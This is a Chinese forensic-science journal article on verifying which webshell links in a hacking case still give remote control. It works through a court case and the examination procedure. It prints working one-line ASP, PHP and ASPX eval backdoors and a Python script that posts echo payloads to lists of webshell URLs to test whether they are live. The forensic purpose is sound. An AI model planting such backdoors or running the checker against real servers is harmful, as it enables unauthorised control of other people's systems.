当前位置:首页 期刊杂志

电子数据检验中常见Webshell有效性的检验鉴定

时间:2024-09-03

◆吴玉强 吴育宝

(南京森林警察学院信息技术学院 江苏 210023)

Webshell又叫网站后门,它是一种基于 Web的入侵脚本程序[1]。黑客通常在入侵网站后,在Web服务器的目录中放置诸如ASP、JSP或PHP 等脚本木马后门文件,这样就相当于留下了网站后门。当黑客再想入侵该网站时,就可以直接通过这些后门文件控制网站服务器,以便实现程序命令执行、上传或下载文件、数据库操作等功能。据统计,仅仅2018年12月份,我国境内被植入木马后门的网站数量就多达 2317个[2]。所以一旦网站被植入Webshell,则意味着攻击者就可以利用该漏洞获取服务器的控制权限,进而进行后续一系列的不法行为。因此在电子数据检验鉴定领域中针对这些 Webshell远程控制链接有效性的检验在案件的侦办过程中就显得尤为重要。

1 常见Webshell种类及特点

根据脚本程序的大小和功能,我们通常将 Webshell分为三类:“大马”、“小马”和“一句话木马”。

1.1 大马

大马操作界面友好,需要密码配合方能登录使用。大马功能丰富,一般包括提权、磁盘管理、数据库连接甚至漏洞利用代码等。为了躲避检测,大马一般使用混淆或者加解密压缩等方法,前者叫未加密的Webshell,后者被称为加密的Webshell[3]。大马体积一般较大,文件大小一般在50K以上。

1.2 小马

小马功能较少,一般只有上传或数据库提权等简单功能,它通常用作大马的跳板,当网站对上传文件大小进行限制时,攻击者先使用小马,将其作为上传大马的中转站。小马文件大小一般不大,往往不存在密码保护。

1.3 一句话木马

一句话木马其实就是一句话的脚本,其功能就是为代码执行提供一种环境,比如eval( )函数,在入侵中扮演着强大的作用。常见的一句话木马如ASP一句话木马:<%eval request(“c”)%>;PHP 一句话木马:<?PHP eval($_POST[value]);?>;ASPX 一句话木马:<%eval(Request.Item[“value”])%>等。为了躲避查杀检测,一句话木马可以经过混淆或者加密变形,这样插入到Web网站代码中就很难被管理员发现,隐秘性高、检测困难。

2 常见Webshell的检验鉴定

近年来,随着国家网络通信设施的全面普及,互联网的发展也进入深水区,网络技术在改善我们生活的同时,也带来诸多安全隐患。诸如非法控制计算机信息系统、非法获取计算机信息系统数据等类型的网络犯罪案件时常出现,给计算机信息系统安全、网络空间管理秩序带来了威胁和挑战。

而诸如通过 Webshell非法控制他人计算机信息系统在网络犯罪中占到很大比例,已经成为当前网络黑色产业链中的上游环节。黑客或不法分子通过控制他人计算机信息系统可以进行诸多违法犯罪活动,如植入暗链、传播木马病毒、DDoS 攻击、侵犯公民个人信息等,为下游各类违法犯罪提供“精准服务”,或为电信网络诈骗、网络恶意攻击提供技术支持,导致增加案件破获难度,降低犯罪成本[4]。

根据2011年最高人民法院最高人民检察院《关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》(以下简称《解释》)第一条中规定,违反国家规定,非法控制计算机信息系统20台以上的,应当认定为刑法第285条第二款规定的“情节严重”,构成非法控制计算机信息系统罪;非法控制计算机信息系统数量达到标准5倍以上的,属“情节特别严重”。因此针对控制计算机信息系统数量认定的检验在此类案件的侦办中尤为重要。

3 一个Webshell有效性的检验鉴定实例

3.1 案情简介

2015年10月至2017年10月间,被告人黎某通过QQ聊天等与被告人贾某联系、商定,由贾某采用植入木马程序等方式非法获取网站后台管理控制权限,然后将该网站控制权限等内容告知黎某,黎某支付一定报酬给贾某。黎某从贾某处获取网站控制权限后,非法侵入他人网站后台并添加“跳转”链接为赌博公司等做广告推广,从而获取利润。

现从两人的QQ聊天记录中检出一句话木马链接315条(ASP 69条,ASPX 181条,PHP 65条),大马链接415条。

3.2 检验要求

检验聊天记录中Webshell有效远程控制链接的数量。

3.3 检验执行标准

本次检验使用《电子数据法庭科学鉴定通用方法》(标准编号:GA/T 976-2012)标准、《数字化设备证据数据发现提取固定方法》(标准编号:GA/T 756-2008)标准。

3.4 检验实施环境

在检验实施环境上,和其他电子数据检验类似,我们需要检验鉴定工作站一台(具体CPU、内存、硬盘、操作系统等参数省去)、文件校验工具HashTab;压缩包软件、录屏软件Bandicam)、视频采集设备、Mozilla Firefox及Python运行环境等工具软件。

3.5 检验鉴定方法

(1)网络环境真实性的校验

针对本案的检验鉴定,不论是一句话木马的检验还是大马的检验,都是通过网络通讯的方式对那些远程控制链接的有效性进行远程验证。所以,正式验证之前,必须要对检验鉴定工作站的网络环境进行真实性校验。整个检验过程需要全程录像,具体步骤如下:

①启动“命令提示符”(CMD)窗口;

②执行 ipconfig /all命令,查看本机网络基本信息,其中可得到检验鉴定工作站的DNS服务器ip地址;

③执行more C:Windowssystem32driversetchosts命令,查看本机HOSTS域名解析文件,结果显示该检验鉴定工作站没有域名通过HOSTS文件进行本地静态设置;

④执行ping www.baidu.com命令,测试检验鉴定工作站到百度网的通达状态;

⑤执行 ping www.sina.com.cn命令,测试检验鉴定工作站到新浪网的通达状态;

⑥执行ping 114.114.114.114命令,测试检验鉴定工作站到配置的DNS服务器(IP地址为114.114.114.114)的通达状态;

⑦执行tracert 114.114.114.114命令,测试检验鉴定工作站与DNS服务器的路由状态;

⑧执行tracert www.baidu.com命令,测试检验鉴定工作站与百度服务器之间的路由状态;

⑨通过浏览器打开百度网(https://www.baidu.com),搜索“时间”关键词获取当前网络时间并与本机系统时间比对进行时间校验。

我们通过上述1-9的操作,可以认定检验鉴定工作站上没有域名进行本地静态解析、工作站访问互联网状态正常、DNS解析正常、时间正常,整个工作站的网络环境是没有问题的。这是进行后续检验的基础,是必不可少的环节。党的十八届四中全会提出“推进以审判为中心的诉讼制度改革”以来,鉴定人出庭作证制度作为实现审判中心地位的重要环节,鉴定人在检验鉴定过程中务必做到科学严谨。

(2)具体检验鉴定方法

确认检验鉴定工作站的相关环境符合要求之后,就可以对案件中的远程控制链接正式进行检验鉴定。

①手动验证法

首先将筛选出的远程控制链接整理成下列文件:

a)ASP一句话列表,文件名ASP.txt;

b)ASPX一句话列表,文件名ASPX.txt;

c)PHP一句话列表,文件名PHP.txt;

d)大马列表,文件名19062.txt。

上述四个文件内其实就是一些网页URL地址,以PHP一句话列表文件为例,其内容如图1所示。

图1 PHP一句话木马文件内容

所谓手动验证法就是对梳理出来的 Webshell记录通过相关软件工具逐一进行手动验证。

对于一句话木马:将梳理出的一句话木马记录文件拷贝到检验鉴定工作站的桌面上,启动软件“中国菜刀”,对给定的所有Webshell逐一加以验证。最后将可以正常连接的记录保存并计算MD5哈希值即可。

对于大马:同样,将梳理出的大马记录文件拷贝到检验鉴定工作站的桌面上,启动浏览器,对给定的所有Webshell逐一加以验证。最后将可以正常连接的记录保存并计算MD5哈希值即可。

注意,以上检验都要进行屏幕同步录像。

②自动测试法

本案中,共需检验一句话木马链接315条(ASP 69条,ASPX 181条,PHP 65条),大马链接409条,数量众多,如果通过手工进行一一验证,费时费力,且容易遗漏、出错。如果通过程序脚本进行自动化测试验证,则能够显著提高检验鉴定效率和准确率。因此,可以通过编写自动测试脚本分别对其中的一句话木马链接、大马链接进行测试,确定其中有效的远程控制链接数量。接下来,用事先编写好的Python脚本程序进行检验鉴定。

对于一句话木马:编写自动测试脚本对一句话木马的可用性进行检验。脚本根据ASP、ASPX、PHP等不同语言站点的不同特点设计了针对性的测试语句,通过回显判断的方法测试其可用性。具体脚本代码如下:

#!/usr/bin/env python

# -*- encoding: utf-8 -*-

import requests

from multiprocessing.dummy import Pool, Lock

pool = Pool(8)

lock = Lock()

payload_pool = {

'ASPX': 'Response.Write("SixSeven@ccc");Response.End();',

'ASP':

'eval("response.write(chr(83)+chr(105)+chr(120)+chr(83)+chr(101)+chr(118)+chr(101)+chr(110)+chr(64)+chr(99)+chr(99)+chr(99))")',

'PHP': 'eval(base64_decode($_POST[z0]));'

}

fuzzpool = ['ASP', 'ASPx', 'PHP']

passwd = "!@#QWE321321" # 一句话木马密码

def fuzzing(url):

p={passwd:payload, 'z0': 'ZWNobyAiU2l4U2V2ZW5AY2NjIj s='}

try:

r = requests.post(url, data=p, timeout=5)

if 'SixSeven@ccc' in r.text:

lock.acquire()

print "%s" % (url, )

lock.release()

return True

else:

return False

except:

return False

if __name__ == '__main__':

for fuzztype in fuzzpool:

payload = payload_pool[fuzztype]

with open(fuzztype+'.txt', 'r') as l: # 读入一句话木马列表

p = [i.strip() for i in l.readlines()]

ret = pool.map(fuzzing, p)

通过上述脚本检出可用的远程控制链接217条,其中ASP一句话木马48条,ASPX一句话木马131条,PHP一句话木马38条。检验结果导出在文件“webshell.txt”中。

对于大马:同样通过编写脚本抓取了大马中的特征字段,自动请求木马页面并进行特征匹配,借此判断木马可用性。具体脚本代码此处省去。

以上脚本执行过程要全程屏幕同步录像。

3.6 论证(分析说明)

上文中不论是手动一一验证法还是通过脚本程序自动测试法,都是我们在日常的电子数据检验中针对Webshell有效性检验的常用方法。但不管用哪种方法,其底层原理都是通过远程检验的形式对获取到的木马信息进行逐一检验,并梳理出可用的木马记录。此外,针对检验结果还需进行比对、剔除重复记录,这样得到最终的结果才是嫌疑人有效非法控制计算机信息系统的数量。

脚本程序自动测试法不仅在本案中能够显著提高检验效率,在其他一些电子数据检验案件中也同样发挥着重要作用。比如,在一起传播淫秽视频案件的检验鉴定中,犯罪嫌疑人通过微信群大量发送淫秽视频的链接,数量多达数千个,且视频链接包含流媒体视频链接、磁力链接形式和以ed2k存在的视频等多种形式。毫无疑问,如果通过手动对上千个视频一一根据其特征选择合适的工具软件进行下载固定的话,工作量是不可想象的,那么这时,如果通过脚本程序对视频链接对应的网络视频进行自动化下载固定,就会显著提高工作效率。

4 结束语

本文通过分析一起典型的非法控制计算机信息系统案例,对该案中Webshell远程控制链接有效性的检验鉴定,分别介绍了手动验证和自动测试这两种检验方法,并对检验进行论证说明,以确保检验鉴定的科学性及严谨性。但由于目前我国尚缺乏明确的针对此类案件检验鉴定的标准和技术规范,导致鉴定机构在司法鉴定实践中没有参照依据[5],故建议相关部门尽早制定更加适用此类案件检验鉴定的标准或技术操作规范。

免责声明

我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自各大过期杂志,内容仅供学习参考,不准确地方联系删除处理!